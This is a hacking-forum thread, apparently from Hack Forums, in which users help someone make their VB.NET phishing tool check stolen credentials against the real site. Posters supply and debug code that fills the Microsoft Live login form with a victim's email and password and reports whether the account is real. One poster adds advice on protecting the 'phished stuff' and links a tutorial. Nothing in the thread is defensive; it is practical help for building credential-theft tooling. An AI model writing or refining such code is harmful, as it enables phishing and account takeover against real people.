[KingLilG]

Hi, I made a phiser in VB.NET and I want it to check if the username and password they entered is working. So it should check with the real site if it's valid, else it should come up like "Invalid username/password!"

Thanks in advance.

~Ararura

[Feminist]

use a webbrowser to login to the website, then read data.

if it finds "welcome" then you know the password is real

else

password is fake

[pl0xy]

I looked for it a few months ago to, found some things on google...

[KingLilG]

use a webbrowser to login to the website, then read data.

if it finds "welcome" then you know the password is real

else

password is fake

I'm pretty noob at programming so I don't know how to do that :/

[Feminist]

Source Code Dump
|
|
|
|
Read Text:
|
|
Spoiler (Click to View)
to read data on the webpage:

Code

Dim lol As New Object
Try
            lol = WebBrowser1.Document.Body.InnerHtml
        Catch myerror As Exception

            MsgBox(myerror.Message)
            Exit Sub
        End Try

If InStr(lol, "welcome") Then
           msgbox("account is real)"
     else
           msgbox("account is fake")
            Exit Sub
        End If

|
|
|
|
Login:
|
|
Spoiler (Click to View)
to input data: (use this first)

Code

WebBrowser1.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
                    WebBrowser1.Document.GetElementById("pass").SetAttribute("value", "textbox2.text")
                    WebBrowser1.Document.GetElementById("Login!").InvokeMember("click")

Of course you will need to view the page source to find "Email" "pass" and "Login!" values, then just change them accordingly.

I am not going to tell you were they go, because that shouldn't be hard to figure out.

[GoldStar]

check farhan's facebook freezer and see how it works.

[SgtPunishment]

I've used both bits of code, but when ever I try it in a stand alone program, the msgbox pops up saying the account is fake before the page finishes loading (even does this on a real account)

[GoldStar]

I've used both bits of code, but when ever I try it in a stand alone program, the msgbox pops up saying the account is fake before the page finishes loading (even does this on a real account)

double click your webbrowser you will see the document complited even. there you should put your code to check.

[SgtPunishment]

ah, thanks for that tip, I'll try it now

I have it sort of working, but it spams the account is fake like 4 or 5 times, and when I successfully login, says it's fake, then says it's real, here's the source code of what I've got if you could tell me where I went wrong i'd be very greatful

Code

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        WebBrowser1.Navigate("http://login.live.com/login.srf")
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        WebBrowser1.Document.GetElementById("i0116").SetAttribute("value", (tbEmail.Text))
        WebBrowser1.Document.GetElementById("i0118").SetAttribute("value", (tbPassword.Text))
        WebBrowser1.Document.GetElementById("i0011").InvokeMember("click")
    End Sub

    Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
        Dim lol As New Object
        Try
            lol = WebBrowser1.Document.Body.InnerHtml
        Catch myerror As Exception

            MsgBox(myerror.Message)
            Exit Sub
        End Try

        If InStr(lol, "Password reset information") Then
            MsgBox("account is real")
        Else
            MsgBox("account is fake")
            Exit Sub
        End If
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        End
    End Sub
End Class

need web browser, two text boxes, two buttons

[GoldStar]

here is what is wrong. lets watch the code :
1-on the load => navigate
when the page is loaded, document complited,before you click. and of course wont find the ID of successful login. that's why you get bullshit spam.
you need two things :
1-make the button disabled, if the page is not loaded :
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button1.enabled = false
WebBrowser1.Navigate("http://login.live.com/login.srf")
Button1.enabled = true
End Sub
2-you make a boolean, to specify if the page your gonna check is the right one, this way:

dim nav as boolean = false
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
WebBrowser1.Document.GetElementById("i0116").SetAttribute("value", (tbEmail.Text))
WebBrowser1.Document.GetElementById("i0118").SetAttribute("value", (tbPassword.Text))
WebBrowser1.Document.GetElementById("i0011").InvokeMember("click")
nav = true
End Sub

Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
if nav then
Dim lol As New Object
Try
lol = WebBrowser1.Document.Body.InnerHtml
Catch myerror As Exception

MsgBox(myerror.Message)
Exit Sub
End Try

If InStr(lol, "Password reset information") Then
MsgBox("account is real")
Else
MsgBox("account is fake")
Exit Sub
End If
end if
End Sub

i hope i posted it right cuz did'nt check it with vb.net

[SgtPunishment]

it sort of works, it doesn't spam anymore, but as soon as you've hit "Login" and the page changes, it says "account is fake" and soon as you hit "OK" the page will actually load and eventually spit out "account is real" is there any way of making it not spit anything out until the page has finished loading?

[GoldStar]

it sort of works, it doesn't spam anymore, but as soon as you've hit "Login" and the page changes, it says "account is fake" and soon as you hit "OK" the page will actually load and eventually spit out "account is real" is there any way of making it not spit anything out until the page has finished loading?

why you don't make a double check? check element ID and url. maybe will solve the problem.

[SgtPunishment]

hmm, I may do that... once I figure it out, but I've asked too much, this I will attempt to figure out on my own lol.

[Feminist]

make a 4 sec delay then (hope this is right im not in vb)

Code

'declare this anywere outside of a sub

Sub Delay(ByVal dblSecs As Double)

Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
Dim dblWaitTil As Date
Now.AddSeconds(OneSec)
dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
Do Until Now > dblWaitTil
Application.DoEvents() ' Allow windows messages to be processed
Loop
End Sub

Now you have declared the timer outside of a sub, put this next part were you want it to go, so all you basically do is call this delay Delay(4) 'waits for seconds and then check for text

Code

Call Delay(4) 'waits 4 seconds before next action
'now this will wait 4 seconds before doing the next action, so call a delay of whatever seconds you want then
'put your next code here

Also you really should encrypt your login info so nobody can steal your phished stuff, check out this tut by Miharbi

https://hackforums.net/showthread.php?tid=137485


EDIT: just checked its working for me.

[BlueMelon]

Or just do e.url to a invisible textbox and if the textbox changes url then its real.
I dont know, This can also be very unacurate cus websites way also change url if its wrong.